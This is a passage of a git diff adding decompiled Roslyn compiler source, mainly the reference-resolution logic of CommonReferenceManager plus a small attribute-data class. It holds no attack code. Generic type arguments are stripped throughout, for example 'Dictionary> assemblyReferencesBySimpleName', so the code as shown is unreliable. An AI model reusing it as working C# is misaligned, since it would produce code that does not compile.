queue.Count > 0) + { + AssemblyReferenceCandidate assemblyReferenceCandidate = queue.Dequeue(); + int definitionIndex = assemblyReferenceCandidate.DefinitionIndex; + TAssemblySymbol val = boundInputs[definitionIndex].AssemblySymbol; + if (val == null) + { + val = candidateInputAssemblySymbols[definitionIndex]; + } + if (val != null) + { + if (val != assemblyReferenceCandidate.AssemblySymbol) + { + flag = false; + break; + } + continue; + } + if (IsLinked(assemblyReferenceCandidate.AssemblySymbol) != assemblies[definitionIndex].IsLinked) + { + flag = false; + break; + } + candidateInputAssemblySymbols[definitionIndex] = assemblyReferenceCandidate.AssemblySymbol; + AssemblyReferenceBinding[] referenceBinding = boundInputs[definitionIndex].ReferenceBinding; + list.Clear(); + GetActualBoundReferencesUsedBy(assemblyReferenceCandidate.AssemblySymbol, list); + int count = list.Count; + for (int j = 0; j < count; j++) + { + if (!referenceBinding[j].IsBound) + { + if (list[j] != null) + { + flag = false; + break; + } + continue; + } + TAssemblySymbol val2 = list[j]; + if (val2 == null) + { + flag = false; + break; + } + int definitionIndex2 = referenceBinding[j].DefinitionIndex; + if (definitionIndex2 == 0) + { + flag = false; + break; + } + if (!assemblies[definitionIndex2].IsMatchingAssembly(val2)) + { + flag = false; + break; + } + if (assemblies[definitionIndex2].ContainsNoPiaLocalTypes) + { + flag = false; + break; + } + if (IsLinked(val2) != assemblies[definitionIndex2].IsLinked) + { + flag = false; + break; + } + queue.Enqueue(new AssemblyReferenceCandidate(definitionIndex2, val2)); + } + if (!flag) + { + continue; + } + TAssemblySymbol corLibrary = GetCorLibrary(assemblyReferenceCandidate.AssemblySymbol); + if (corLibrary == null) + { + if (corLibraryIndex >= 0) + { + flag = false; + break; + } + continue; + } + if (corLibraryIndex < 0) + { + flag = false; + break; + } + if (!assemblies[corLibraryIndex].IsMatchingAssembly(corLibrary)) + { + flag = false; + break; + } + queue.Enqueue(new AssemblyReferenceCandidate(corLibraryIndex, corLibrary)); + } + if (!flag) + { + continue; + } + for (int k = 0; k < length; k++) + { + if (candidateInputAssemblySymbols[k] != null) + { + boundInputs[k].AssemblySymbol = candidateInputAssemblySymbols[k]; + } + } + break; + } + } + } + finally + { + queue.Clear(); + list.Clear(); + s_candidatesToExaminePool.Free(queue); + s_candidateReferencedSymbolsPool.Free(list); + } + } + + private static bool CheckCircularReference(IReadOnlyList referenceBindings) + { + for (int i = 1; i < referenceBindings.Count; i++) + { + AssemblyReferenceBinding[] array = referenceBindings[i]; + foreach (AssemblyReferenceBinding assemblyReferenceBinding in array) + { + if (assemblyReferenceBinding.BoundToAssemblyBeingBuilt) + { + return true; + } + } + } + return false; + } + + private static bool IsSuperseded(AssemblyIdentity identity, IReadOnlyDictionary> assemblyReferencesBySimpleName) + { + return assemblyReferencesBySimpleName[identity.Name][0].Identity.Version != identity.Version; + } + + private static int IndexOfCorLibrary(ImmutableArray assemblies, IReadOnlyDictionary> assemblyReferencesBySimpleName, bool supersedeLowerVersions) + { + ArrayBuilder arrayBuilder = null; + for (int i = 1; i < assemblies.Length; i++) + { + AssemblyData assemblyData = assemblies[i]; + if (!assemblyData.IsLinked && assemblyData.AssemblyReferences.Length == 0 && !assemblyData.ContainsNoPiaLocalTypes && (!supersedeLowerVersions || !IsSuperseded(assemblyData.Identity, assemblyReferencesBySimpleName)) && assemblyData.DeclaresTheObjectClass) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + } + arrayBuilder.Add(i); + } + } + if (arrayBuilder != null) + { + if (arrayBuilder.Count == 1) + { + int result = arrayBuilder[0]; + arrayBuilder.Free(); + return result; + } + arrayBuilder.Free(); + } + if (assemblies.Length == 1 && assemblies[0].AssemblyReferences.Length == 0) + { + return 0; + } + return -1; + } + + internal static bool InternalsMayBeVisibleToAssemblyBeingCompiled(string compilationName, PEAssembly assembly) + { + return !assembly.GetInternalsVisibleToPublicKeys(compilationName).IsEmpty(); + } + + protected abstract void GetActualBoundReferencesUsedBy(TAssemblySymbol assemblySymbol, List referencedAssemblySymbols); + + protected abstract ImmutableArray GetNoPiaResolutionAssemblies(TAssemblySymbol candidateAssembly); + + protected abstract bool IsLinked(TAssemblySymbol candidateAssembly); + + protected abstract TAssemblySymbol? GetCorLibrary(TAssemblySymbol candidateAssembly); + + protected abstract AssemblyData CreateAssemblyDataForFile(PEAssembly assembly, WeakList cachedSymbols, DocumentationProvider documentationProvider, string sourceAssemblySimpleName, MetadataImportOptions importOptions, bool embedInteropTypes); + + protected abstract AssemblyData CreateAssemblyDataForCompilation(CompilationReference compilationReference); + + protected abstract bool CheckPropertiesConsistency(MetadataReference primaryReference, MetadataReference duplicateReference, DiagnosticBag diagnostics); + + protected abstract bool WeakIdentityPropertiesEquivalent(AssemblyIdentity identity1, AssemblyIdentity identity2); + + protected ImmutableArray ResolveMetadataReferences(TCompilation compilation, [Out] Dictionary> assemblyReferencesBySimpleName, out ImmutableArray references, out IDictionary<(string, string), MetadataReference> boundReferenceDirectiveMap, out ImmutableArray boundReferenceDirectives, out ImmutableArray assemblies, out ImmutableArray modules, DiagnosticBag diagnostics) + { + GetCompilationReferences(compilation, diagnostics, out references, out boundReferenceDirectiveMap, out ImmutableArray referenceDirectiveLocations); + int length = references.Length; + int num = ((referenceDirectiveLocations != null) ? referenceDirectiveLocations.Length : 0); + ResolvedReference[] array = new ResolvedReference[length]; + Dictionary lazyAliasMap = null; + Dictionary dictionary = new Dictionary(MetadataReferenceEqualityComparer.Instance); + ArrayBuilder arrayBuilder = ((referenceDirectiveLocations != null) ? ArrayBuilder.GetInstance() : null); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder modules2 = null; + bool referencesSupersedeLowerVersions = compilation.Options.ReferencesSupersedeLowerVersions; + for (int num2 = length - 1; num2 >= 0; num2--) + { + MetadataReference metadataReference = references[num2]; + if (metadataReference != null) + { + if (dictionary.TryGetValue(metadataReference, out var value)) + { + if (metadataReference != value) + { + MergeReferenceProperties(value, metadataReference, diagnostics, ref lazyAliasMap); + } + } + else + { + dictionary.Add(metadataReference, metadataReference); + Location location; + if (num2 < num) + { + location = referenceDirectiveLocations[num2]; + arrayBuilder.Add(metadataReference); + } + else + { + location = Location.None; + } + if (metadataReference is CompilationReference { Properties: var properties } compilationReference) + { + if (properties.Kind != MetadataImageKind.Assembly) + { + throw ExceptionUtilities.UnexpectedValue(compilationReference.Properties.Kind); + } + value = TryAddAssembly(compilationReference.Compilation.Assembly.Identity, metadataReference, -instance.Count - 1, diagnostics, location, assemblyReferencesBySimpleName, referencesSupersedeLowerVersions); + if (value != null) + { + MergeReferenceProperties(value, metadataReference, diagnostics, ref lazyAliasMap); + } + else + { + AddAssembly(CreateAssemblyDataForCompilation(compilationReference), num2, array, instance); + } + } + else + { + PortableExecutableReference portableExecutableReference = (PortableExecutableReference)metadataReference; + Metadata metadata = GetMetadata(portableExecutableReference, MessageProvider, location, diagnostics); + if (metadata != null) + { + switch (portableExecutableReference.Properties.Kind) + { + case MetadataImageKind.Assembly: + { + AssemblyMetadata assemblyMetadata = (AssemblyMetadata)metadata; + WeakList cachedSymbols = assemblyMetadata.CachedSymbols; + if (assemblyMetadata.IsValidAssembly()) + { + PEAssembly assembly = assemblyMetadata.GetAssembly(); + value = TryAddAssembly(assembly.Identity, portableExecutableReference, -instance.Count - 1, diagnostics, location, assemblyReferencesBySimpleName, referencesSupersedeLowerVersions); + if (value != null) + { + MergeReferenceProperties(value, metadataReference, diagnostics, ref lazyAliasMap); + break; + } + AddAssembly(CreateAssemblyDataForFile(assembly, cachedSymbols, portableExecutableReference.DocumentationProvider, SimpleAssemblyName, compilation.Options.MetadataImportOptions, portableExecutableReference.Properties.EmbedInteropTypes), num2, array, instance); + } + else + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_MetadataFileNotAssembly, location, portableExecutableReference.Display ?? "")); + } + GC.KeepAlive(assemblyMetadata); + break; + } + case MetadataImageKind.Module: + { + ModuleMetadata moduleMetadata = (ModuleMetadata)metadata; + if (moduleMetadata.Module.IsLinkedModule) + { + if (!moduleMetadata.Module.IsEntireImageAvailable) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_LinkedNetmoduleMetadataMustProvideFullPEImage, location, portableExecutableReference.Display ?? "")); + } + AddModule(moduleMetadata.Module, num2, array, ref modules2); + } + else + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_MetadataFileNotModule, location, portableExecutableReference.Display ?? "")); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue(portableExecutableReference.Properties.Kind); + } + } + } + } + } + } + if (arrayBuilder != null) + { + arrayBuilder.ReverseContents(); + boundReferenceDirectives = arrayBuilder.ToImmutableAndFree(); + } + else + { + boundReferenceDirectives = ImmutableArray.Empty; + } + for (int i = 0; i < array.Length; i++) + { + if (!array[i].IsSkipped) + { + int index = ((array[i].Kind == MetadataImageKind.Assembly) ? instance.Count : (modules2?.Count ?? 0)) - 1 - array[i].Index; + array[i] = GetResolvedReferenceAndFreePropertyMapEntry(references[i], index, array[i].Kind, lazyAliasMap); + } + } + instance.ReverseContents(); + assemblies = instance.ToImmutableAndFree(); + if (modules2 == null) + { + modules = ImmutableArray.Empty; + } + else + { + modules2.ReverseContents(); + modules = modules2.ToImmutableAndFree(); + } + return ImmutableArray.CreateRange(array); + } + + private static ResolvedReference GetResolvedReferenceAndFreePropertyMapEntry(MetadataReference reference, int index, MetadataImageKind kind, Dictionary? propertyMapOpt) + { + ImmutableArray mergedReferences = ImmutableArray.Empty; + ImmutableArray aliasesOpt; + ImmutableArray recursiveAliasesOpt; + if (propertyMapOpt != null && propertyMapOpt.TryGetValue(reference, out MergedAliases value)) + { + aliasesOpt = value.AliasesOpt?.ToImmutableAndFree() ?? default(ImmutableArray); + recursiveAliasesOpt = value.RecursiveAliasesOpt?.ToImmutableAndFree() ?? default(ImmutableArray); + if (value.MergedReferencesOpt != null) + { + mergedReferences = value.MergedReferencesOpt.ToImmutableAndFree(); + } + } + else if (reference.Properties.HasRecursiveAliases) + { + aliasesOpt = default(ImmutableArray); + recursiveAliasesOpt = reference.Properties.Aliases; + } + else + { + aliasesOpt = reference.Properties.Aliases; + recursiveAliasesOpt = default(ImmutableArray); + } + return new ResolvedReference(index, kind, aliasesOpt, recursiveAliasesOpt, mergedReferences); + } + + private Metadata? GetMetadata(PortableExecutableReference peReference, CommonMessageProvider messageProvider, Location location, DiagnosticBag diagnostics) + { + Metadata metadata; + lock (ObservedMetadata) + { + if (TryGetObservedMetadata(peReference, diagnostics, out metadata)) + { + return metadata; + } + } + Diagnostic diagnostic = null; + Metadata metadata2; + try + { + metadata2 = peReference.GetMetadataNoCopy(); + if (metadata2 is AssemblyMetadata assemblyMetadata) + { + assemblyMetadata.IsValidAssembly(); + } + else + { + _ = ((ModuleMetadata)metadata2).Module.IsLinkedModule; + } + } + catch (Exception ex) when (ex is BadImageFormatException || ex is IOException) + { + diagnostic = PortableExecutableReference.ExceptionToDiagnostic(ex, messageProvider, location, peReference.Display ?? "", peReference.Properties.Kind); + metadata2 = null; + } + lock (ObservedMetadata) + { + if (TryGetObservedMetadata(peReference, diagnostics, out metadata)) + { + return metadata; + } + if (diagnostic != null) + { + diagnostics.Add(diagnostic); + } + ObservedMetadata.Add(peReference, ((object)metadata2) ?? ((object)diagnostic)); + return metadata2; + } + } + + private bool TryGetObservedMetadata(PortableExecutableReference peReference, DiagnosticBag diagnostics, out Metadata? metadata) + { + if (ObservedMetadata.TryGetValue(peReference, out object value)) + { + metadata = value as Metadata; + if (metadata == null) + { + diagnostics.Add((Diagnostic)value); + } + return true; + } + metadata = null; + return false; + } + + internal AssemblyMetadata? GetAssemblyMetadata(PortableExecutableReference peReference, DiagnosticBag diagnostics) + { + Metadata metadata = GetMetadata(peReference, MessageProvider, Location.None, diagnostics); + if (metadata == null) + { + return null; + } + if (!(metadata is AssemblyMetadata assemblyMetadata) || !assemblyMetadata.IsValidAssembly()) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_MetadataFileNotAssembly, Location.None, peReference.Display ?? "")); + return null; + } + return assemblyMetadata; + } + + private void MergeReferenceProperties(MetadataReference primaryReference, MetadataReference newReference, DiagnosticBag diagnostics, ref Dictionary? lazyAliasMap) + { + if (CheckPropertiesConsistency(newReference, primaryReference, diagnostics)) + { + if (lazyAliasMap == null) + { + lazyAliasMap = new Dictionary(); + } + if (!lazyAliasMap.TryGetValue(primaryReference, out MergedAliases value)) + { + value = new MergedAliases(); + lazyAliasMap.Add(primaryReference, value); + value.Merge(primaryReference); + } + value.Merge(newReference); + } + } + + private static void AddAssembly(AssemblyData data, int referenceIndex, ResolvedReference[] referenceMap, ArrayBuilder assemblies) + { + referenceMap[referenceIndex] = new ResolvedReference(assemblies.Count, MetadataImageKind.Assembly); + assemblies.Add(data); + } + + private static void AddModule(PEModule module, int referenceIndex, ResolvedReference[] referenceMap, [NotNull] ref ArrayBuilder? modules) + { + if (modules == null) + { + modules = ArrayBuilder.GetInstance(); + } + referenceMap[referenceIndex] = new ResolvedReference(modules.Count, MetadataImageKind.Module); + modules.Add(module); + } + + private MetadataReference? TryAddAssembly(AssemblyIdentity identity, MetadataReference reference, int assemblyIndex, DiagnosticBag diagnostics, Location location, Dictionary> referencesBySimpleName, bool supersedeLowerVersions) + { + ReferencedAssemblyIdentity referencedAssemblyIdentity = new ReferencedAssemblyIdentity(identity, reference, assemblyIndex); + if (!referencesBySimpleName.TryGetValue(identity.Name, out List value)) + { + referencesBySimpleName.Add(identity.Name, new List { referencedAssemblyIdentity }); + return null; + } + if (supersedeLowerVersions) + { + foreach (ReferencedAssemblyIdentity item in value) + { + if (identity.Version == item.Identity.Version) + { + return item.Reference; + } + } + if (value[0].Identity.Version > identity.Version) + { + value.Add(referencedAssemblyIdentity); + } + else + { + value.Add(value[0]); + value[0] = referencedAssemblyIdentity; + } + return null; + } + ReferencedAssemblyIdentity referencedAssemblyIdentity2 = default(ReferencedAssemblyIdentity); + if (identity.IsStrongName) + { + foreach (ReferencedAssemblyIdentity item2 in value) + { + if (item2.Identity.IsStrongName && IdentityComparer.ReferenceMatchesDefinition(identity, item2.Identity) && IdentityComparer.ReferenceMatchesDefinition(item2.Identity, identity)) + { + referencedAssemblyIdentity2 = item2; + break; + } + } + } + else + { + foreach (ReferencedAssemblyIdentity item3 in value) + { + if (!item3.Identity.IsStrongName && WeakIdentityPropertiesEquivalent(identity, item3.Identity)) + { + referencedAssemblyIdentity2 = item3; + break; + } + } + } + if (referencedAssemblyIdentity2.Identity == null) + { + value.Add(referencedAssemblyIdentity); + return null; + } + if (identity.IsStrongName) + { + if (identity != referencedAssemblyIdentity2.Identity) + { + MessageProvider.ReportDuplicateMetadataReferenceStrong(diagnostics, location, reference, identity, referencedAssemblyIdentity2.Reference, referencedAssemblyIdentity2.Identity); + } + } + else if (identity != referencedAssemblyIdentity2.Identity) + { + MessageProvider.ReportDuplicateMetadataReferenceWeak(diagnostics, location, reference, identity, referencedAssemblyIdentity2.Reference, referencedAssemblyIdentity2.Identity); + } + return referencedAssemblyIdentity2.Reference; + } + + protected void GetCompilationReferences(TCompilation compilation, DiagnosticBag diagnostics, out ImmutableArray references, out IDictionary<(string, string), MetadataReference> boundReferenceDirectives, out ImmutableArray referenceDirectiveLocations) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder arrayBuilder = null; + IDictionary<(string, string), MetadataReference> dictionary = null; + try + { + foreach (ReferenceDirective referenceDirective in compilation.ReferenceDirectives) + { + if (compilation.Options.MetadataReferenceResolver == null) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_MetadataReferencesNotSupported, referenceDirective.Location)); + break; + } + if (dictionary != null && dictionary.ContainsKey((referenceDirective.Location.SourceTree.FilePath, referenceDirective.File))) + { + continue; + } + MetadataReference metadataReference = ResolveReferenceDirective(referenceDirective.File, referenceDirective.Location, compilation); + if (metadataReference == null) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_MetadataFileNotFound, referenceDirective.Location, referenceDirective.File)); + continue; + } + if (dictionary == null) + { + dictionary = new Dictionary<(string, string), MetadataReference>(); + arrayBuilder = ArrayBuilder.GetInstance(); + } + instance.Add(metadataReference); + arrayBuilder.Add(referenceDirective.Location); + dictionary.Add((referenceDirective.Location.SourceTree.FilePath, referenceDirective.File), metadataReference); + } + instance.AddRange(compilation.ExternalReferences); + Compilation compilation2 = compilation.ScriptCompilationInfo?.PreviousScriptCompilation; + if (compilation2 != null) + { + instance.AddRange(compilation2.GetBoundReferenceManager().ExplicitReferences); + } + if (dictionary == null) + { + dictionary = SpecializedCollections.EmptyDictionary<(string, string), MetadataReference>(); + } + boundReferenceDirectives = dictionary; + references = instance.ToImmutable(); + referenceDirectiveLocations = arrayBuilder?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + finally + { + instance.Free(); + } + } + + private static PortableExecutableReference? ResolveReferenceDirective(string reference, Location location, TCompilation compilation) + { + SyntaxTree sourceTree = location.SourceTree; + string baseFilePath = ((sourceTree != null && sourceTree.FilePath.Length > 0) ? sourceTree.FilePath : null); + ImmutableArray immutableArray = compilation.Options.MetadataReferenceResolver.ResolveReference(reference, baseFilePath, MetadataReferenceProperties.Assembly.WithRecursiveAliases(value: true)); + if (immutableArray.IsDefaultOrEmpty) + { + return null; + } + if (immutableArray.Length > 1) + { + throw new NotSupportedException(); + } + return immutableArray[0]; + } + + internal static AssemblyReferenceBinding[] ResolveReferencedAssemblies(ImmutableArray references, MultiDictionary definitions, bool resolveAgainstAssemblyBeingBuilt, AssemblyIdentityComparer assemblyIdentityComparer) + { + AssemblyReferenceBinding[] array = new AssemblyReferenceBinding[references.Length]; + for (int i = 0; i < references.Length; i++) + { + array[i] = ResolveReferencedAssembly(references[i], definitions, resolveAgainstAssemblyBeingBuilt, assemblyIdentityComparer); + } + return array; + } + + internal static AssemblyReferenceBinding ResolveReferencedAssembly(AssemblyIdentity reference, MultiDictionary definitions, bool resolveAgainstAssemblyBeingBuilt, AssemblyIdentityComparer assemblyIdentityComparer) + { + int num = -1; + Version version = null; + int num2 = -1; + Version version2 = null; + foreach (var (assemblyData, num3) in definitions[reference.Name]) + { + if (num3 == 0) + { + continue; + } + AssemblyIdentity identity = assemblyData.Identity; + switch (assemblyIdentityComparer.Compare(reference, identity)) + { + case AssemblyIdentityComparer.ComparisonResult.Equivalent: + return new AssemblyReferenceBinding(reference, num3); + case AssemblyIdentityComparer.ComparisonResult.EquivalentIgnoringVersion: + if (reference.Version < identity.Version) + { + if (num == -1 || identity.Version < version) + { + num = num3; + version = identity.Version; + } + } + else if (num2 == -1 || identity.Version > version2) + { + num2 = num3; + version2 = identity.Version; + } + break; + default: + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/ReferenceManager/CommonReferenceManager.Resolution.cs", 975); + case AssemblyIdentityComparer.ComparisonResult.NotEquivalent: + break; + } + } + if (num != -1) + { + return new AssemblyReferenceBinding(reference, num, 1); + } + if (num2 != -1) + { + return new AssemblyReferenceBinding(reference, num2, -1); + } + if (reference.IsWindowsComponent()) + { + foreach (var (assemblyData2, num4) in definitions["windows"]) + { + if (num4 != 0 && assemblyData2.Identity.IsWindowsRuntime()) + { + return new AssemblyReferenceBinding(reference, num4); + } + } + } + if (reference.ContentType == AssemblyContentType.WindowsRuntime) + { + foreach (var (assemblyData3, num5) in definitions[reference.Name]) + { + if (num5 != 0) + { + AssemblyIdentity identity2 = assemblyData3.Identity; + Compilation sourceCompilation = assemblyData3.SourceCompilation; + if (identity2.ContentType == AssemblyContentType.Default && sourceCompilation != null && sourceCompilation.Options.OutputKind == OutputKind.WindowsRuntimeMetadata && reference.Version.Equals(identity2.Version) && reference.IsRetargetable == identity2.IsRetargetable && AssemblyIdentityComparer.CultureComparer.Equals(reference.CultureName, identity2.CultureName) && AssemblyIdentity.KeysEqual(reference, identity2)) + { + return new AssemblyReferenceBinding(reference, num5); + } + } + } + } + if (resolveAgainstAssemblyBeingBuilt) + { + foreach (var item in definitions[reference.Name]) + { + if (item.DefinitionIndex == 0) + { + return new AssemblyReferenceBinding(reference, 0); + } + } + } + return new AssemblyReferenceBinding(reference); + } + + public CommonReferenceManager(string simpleAssemblyName, AssemblyIdentityComparer identityComparer, Dictionary? observedMetadata) + { + SimpleAssemblyName = simpleAssemblyName; + IdentityComparer = identityComparer; + ObservedMetadata = observedMetadata ?? new Dictionary(); + } + + [Conditional("DEBUG")] + internal void AssertUnbound() + { + } + + [Conditional("DEBUG")] + [MemberNotNull(new string[] { "_lazyReferencedAssembliesMap", "_lazyReferencedModuleIndexMap", "_lazyReferenceDirectiveMap", "_lazyImplicitReferenceResolutions" })] + internal void AssertBound() + { + } + + [Conditional("DEBUG")] + internal void AssertCanReuseForCompilation(TCompilation compilation) + { + } + + internal void InitializeNoLock(Dictionary referencedAssembliesMap, Dictionary referencedModulesMap, IDictionary<(string, string), MetadataReference> boundReferenceDirectiveMap, ImmutableArray directiveReferences, ImmutableArray explicitReferences, ImmutableDictionary implicitReferenceResolutions, bool containsCircularReferences, ImmutableArray diagnostics, TAssemblySymbol? corLibraryOpt, ImmutableArray referencedModules, ImmutableArray> referencedModulesReferences, ImmutableArray referencedAssemblies, ImmutableArray> aliasesOfReferencedAssemblies, ImmutableArray> unifiedAssemblies, Dictionary>? mergedAssemblyReferencesMapOpt) + { + _lazyReferencedAssembliesMap = referencedAssembliesMap; + _lazyReferencedModuleIndexMap = referencedModulesMap; + _lazyDiagnostics = diagnostics; + _lazyReferenceDirectiveMap = boundReferenceDirectiveMap; + _lazyDirectiveReferences = directiveReferences; + _lazyExplicitReferences = explicitReferences; + _lazyImplicitReferenceResolutions = implicitReferenceResolutions; + _lazyCorLibraryOpt = corLibraryOpt; + _lazyReferencedModules = referencedModules; + _lazyReferencedModulesReferences = referencedModulesReferences; + _lazyReferencedAssemblies = referencedAssemblies; + _lazyAliasesOfReferencedAssemblies = aliasesOfReferencedAssemblies; + _lazyMergedAssemblyReferencesMap = mergedAssemblyReferencesMapOpt?.ToImmutableDictionary() ?? ImmutableDictionary>.Empty; + _lazyUnifiedAssemblies = unifiedAssemblies; + _lazyHasCircularReference = containsCircularReferences.ToThreeState(); + Interlocked.Exchange(ref _isBound, 1); + } + + protected static void BuildReferencedAssembliesAndModulesMaps(BoundInputAssembly[] bindingResult, ImmutableArray references, ImmutableArray referenceMap, int referencedModuleCount, int explicitlyReferencedAssemblyCount, IReadOnlyDictionary> assemblyReferencesBySimpleName, bool supersedeLowerVersions, out Dictionary referencedAssembliesMap, out Dictionary referencedModulesMap, out ImmutableArray> aliasesOfReferencedAssemblies, out Dictionary>? mergedAssemblyReferencesMapOpt) + { + referencedAssembliesMap = new Dictionary(referenceMap.Length); + referencedModulesMap = new Dictionary(referencedModuleCount); + ArrayBuilder> instance = ArrayBuilder>.GetInstance(referenceMap.Length - referencedModuleCount); + bool flag = false; + mergedAssemblyReferencesMapOpt = null; + for (int i = 0; i < referenceMap.Length; i++) + { + if (referenceMap[i].IsSkipped) + { + continue; + } + if (referenceMap[i].Kind == MetadataImageKind.Module) + { + int value = 1 + referenceMap[i].Index; + referencedModulesMap.Add(references[i], value); + continue; + } + int index = referenceMap[i].Index; + MetadataReference key = references[i]; + referencedAssembliesMap.Add(key, index); + instance.Add(referenceMap[i].AliasesOpt); + if (!referenceMap[i].MergedReferences.IsEmpty) + { + (mergedAssemblyReferencesMapOpt ?? (mergedAssemblyReferencesMapOpt = new Dictionary>())).Add(key, referenceMap[i].MergedReferences); + } + flag |= !referenceMap[i].RecursiveAliasesOpt.IsDefault; + } + if (flag) + { + PropagateRecursiveAliases(bindingResult, referenceMap, instance); + } + if (supersedeLowerVersions) + { + foreach (KeyValuePair> item in assemblyReferencesBySimpleName) + { + for (int j = 1; j < item.Value.Count; j++) + { + int assemblyIndex = item.Value[j].GetAssemblyIndex(explicitlyReferencedAssemblyCount); + instance[assemblyIndex] = s_supersededAlias; + } + } + } + aliasesOfReferencedAssemblies = instance.ToImmutableAndFree(); + } + + internal static ImmutableDictionary GetAssemblyReferenceIdentityBaselineMap(ImmutableArray symbols, ImmutableArray originalIdentities) + { + ImmutableDictionary.Builder builder = null; + for (int i = 0; i < originalIdentities.Length; i++) + { + AssemblyIdentity identity = symbols[i].Identity; + Version assemblyVersionPattern = symbols[i].AssemblyVersionPattern; + AssemblyIdentity value = originalIdentities[i]; + if ((object)assemblyVersionPattern != null) + { + builder = builder ?? ImmutableDictionary.CreateBuilder(); + AssemblyIdentity key = identity.WithVersion(assemblyVersionPattern); + if (builder.ContainsKey(key)) + { + throw new NotSupportedException(CodeAnalysisResources.CompilationReferencesAssembliesWithDifferentAutoGeneratedVersion); + } + builder.Add(key, value); + } + } + return builder?.ToImmutable() ?? ImmutableDictionary.Empty; + } + + internal static bool CompareVersionPartsSpecifiedInSource(Version version, Version candidateVersion, TAssemblySymbol candidateSymbol) + { + if (version.Major != candidateVersion.Major || version.Minor != candidateVersion.Minor) + { + return false; + } + Version assemblyVersionPattern = candidateSymbol.AssemblyVersionPattern; + if (((object)assemblyVersionPattern == null || assemblyVersionPattern.Build < 65535) && version.Build != candidateVersion.Build) + { + return false; + } + if ((object)assemblyVersionPattern == null && version.Revision != candidateVersion.Revision) + { + return false; + } + return true; + } + + private static void PropagateRecursiveAliases(BoundInputAssembly[] bindingResult, ImmutableArray referenceMap, ArrayBuilder> aliasesOfReferencedAssembliesBuilder) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BitVector bitVector = BitVector.Create(bindingResult.Length); + ImmutableArray.Enumerator enumerator = referenceMap.GetEnumerator(); + while (enumerator.MoveNext()) + { + ResolvedReference current = enumerator.Current; + if (current.IsSkipped || current.RecursiveAliasesOpt.IsDefault) + { + continue; + } + ImmutableArray recursiveAliasesOpt = current.RecursiveAliasesOpt; + bitVector.Clear(); + instance.Add(current.Index); + while (instance.Count > 0) + { + int num = instance.Pop(); + bitVector[num] = true; + aliasesOfReferencedAssembliesBuilder[num] = MergedAliases.Merge(aliasesOfReferencedAssembliesBuilder[num], recursiveAliasesOpt); + AssemblyReferenceBinding[] referenceBinding = bindingResult[num + 1].ReferenceBinding; + for (int i = 0; i < referenceBinding.Length; i++) + { + AssemblyReferenceBinding assemblyReferenceBinding = referenceBinding[i]; + if (assemblyReferenceBinding.IsBound) + { + int num2 = assemblyReferenceBinding.DefinitionIndex - 1; + if (!bitVector[num2]) + { + instance.Add(num2); + } + } + } + } + } + for (int j = 0; j < aliasesOfReferencedAssembliesBuilder.Count; j++) + { + if (aliasesOfReferencedAssembliesBuilder[j].IsDefault) + { + aliasesOfReferencedAssembliesBuilder[j] = ImmutableArray.Empty; + } + } + instance.Free(); + } + + internal sealed override IEnumerable> GetReferencedAssemblies() + { + return ReferencedAssembliesMap.Select, KeyValuePair>((KeyValuePair ra) => KeyValuePairUtil.Create(ra.Key, (IAssemblySymbolInternal)ReferencedAssemblies[ra.Value])); + } + + internal TAssemblySymbol? GetReferencedAssemblySymbol(MetadataReference reference) + { + if (!ReferencedAssembliesMap.TryGetValue(reference, out var value)) + { + return null; + } + return ReferencedAssemblies[value]; + } + + internal int GetReferencedModuleIndex(MetadataReference reference) + { + if (!ReferencedModuleIndexMap.TryGetValue(reference, out var value)) + { + return -1; + } + return value; + } + + internal override MetadataReference? GetMetadataReference(IAssemblySymbolInternal? assemblySymbol) + { + foreach (KeyValuePair item in ReferencedAssembliesMap) + { + if (ReferencedAssemblies[item.Value] == assemblySymbol) + { + return item.Key; + } + } + return null; + } + + internal override IEnumerable<(IAssemblySymbolInternal AssemblySymbol, ImmutableArray Aliases)> GetReferencedAssemblyAliases() + { + for (int i = 0; i < ReferencedAssemblies.Length; i++) + { + yield return (AssemblySymbol: ReferencedAssemblies[i], Aliases: AliasesOfReferencedAssemblies[i]); + } + } + + public bool DeclarationsAccessibleWithoutAlias(int referencedAssemblyIndex) + { + ImmutableArray array = AliasesOfReferencedAssemblies[referencedAssemblyIndex]; + if (array.Length != 0) + { + return array.IndexOf(MetadataReferenceProperties.GlobalAlias, StringComparer.Ordinal) >= 0; + } + return true; + } +} +internal abstract class CommonReferenceManager +{ + internal static object SymbolCacheAndReferenceManagerStateGuard = new object(); + + internal abstract ImmutableArray ExplicitReferences { get; } + + internal abstract ImmutableDictionary ImplicitReferenceResolutions { get; } + + internal abstract IEnumerable> GetReferencedAssemblies(); + + internal abstract IEnumerable<(IAssemblySymbolInternal AssemblySymbol, ImmutableArray Aliases)> GetReferencedAssemblyAliases(); + + internal abstract MetadataReference? GetMetadataReference(IAssemblySymbolInternal? assemblySymbol); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonReturnTypeWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonReturnTypeWellKnownAttributeData.cs new file mode 100644 index 0000000..ce78968 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonReturnTypeWellKnownAttributeData.cs @@ -0,0 +1,17 @@ +namespace Microsoft.CodeAnalysis; + +internal class CommonReturnTypeWellKnownAttributeData : WellKnownAttributeData, IMarshalAsAttributeTarget +{ + private MarshalPseudoCustomAttributeData _lazyMarshalAsData; + + public MarshalPseudoCustomAttributeData MarshallingInformation => _lazyMarshalAsData; + + MarshalPseudoCustomAttributeData IMarshalAsAttributeTarget.GetOrCreateData() + { + if (_lazyMarshalAsData == null) + { + _lazyMarshalAsData = new MarshalPseudoCustomAttributeData(); + } + return _lazyMarshalAsData; + } +} diff --git 